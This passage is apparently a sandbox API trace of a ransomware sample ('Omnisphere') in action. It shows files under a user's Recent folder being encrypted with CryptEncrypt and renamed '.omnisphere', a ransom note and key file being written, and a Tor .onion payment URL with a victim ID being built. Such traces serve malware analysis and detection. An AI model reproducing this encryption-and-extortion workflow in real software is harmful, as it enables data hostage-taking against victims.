(in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.997] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.997] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0126.997] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.997] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.997] GetProcessHeap () returned 0x1600000 [0126.998] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16ed5f0 [0126.998] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r0sp.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r0sp.lnk.omnisphere")) returned 1 [0126.998] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk.omnisphere.id" [0126.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r0sp.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.999] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.000] CloseHandle (hObject=0x3c0) returned 1 [0127.000] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.000] CloseHandle (hObject=0x288) returned 1 [0127.000] SetEndOfFile (hFile=0x28c) returned 1 [0127.000] FlushFileBuffers (hFile=0x28c) returned 1 [0127.003] CloseHandle (hObject=0x28c) returned 1 [0127.003] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R0sP.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.003] GetProcessHeap () returned 0x1600000 [0127.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0127.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.003] GetProcessHeap () returned 0x1600000 [0127.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5ca8 [0127.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5ca8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.003] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.003] GetProcessHeap () returned 0x1600000 [0127.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d81a8 [0127.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d81a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.003] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.003] GetProcessHeap () returned 0x1600000 [0127.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d91c8 [0127.003] PathCombineW (in: pszDest=0x16d91c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.003] GetProcessHeap () returned 0x1600000 [0127.003] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16dd038 [0127.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.004] WriteFile (in: hFile=0x28c, lpBuffer=0x16dd038*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16dd038*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.004] CloseHandle (hObject=0x28c) returned 1 [0127.004] GetProcessHeap () returned 0x1600000 [0127.004] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0127.004] GetProcessHeap () returned 0x1600000 [0127.004] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.004] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.004] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.004] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.004] CloseHandle (hObject=0x28c) returned 1 [0127.004] GetProcessHeap () returned 0x1600000 [0127.004] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.005] GetProcessHeap () returned 0x1600000 [0127.005] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c348 | out: hHeap=0x1600000) returned 1 [0127.005] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213e6107, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x213e6107, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x213e6107, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="R7Xo1pIDUa2Xzbh.lnk", cAlternateFileName="R7XO1P~1.LNK")) returned 1 [0127.005] GetProcessHeap () returned 0x1600000 [0127.005] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0127.005] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="R7Xo1pIDUa2Xzbh.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk" [0127.005] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R7Xo1pIDUa2Xzbh.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\r7xo1pidua2xzbh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.005] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=847) returned 1 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.005] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] GetTickCount () returned 0x115fb16 [0127.006] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668a38) returned 1 [0127.007] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.007] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.007] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.007] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0127.007] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34f, lpName=0x0) returned 0x288 [0127.007] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34f) returned 0x1480000 [0127.007] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0127.008] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.008] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.008] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.009] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 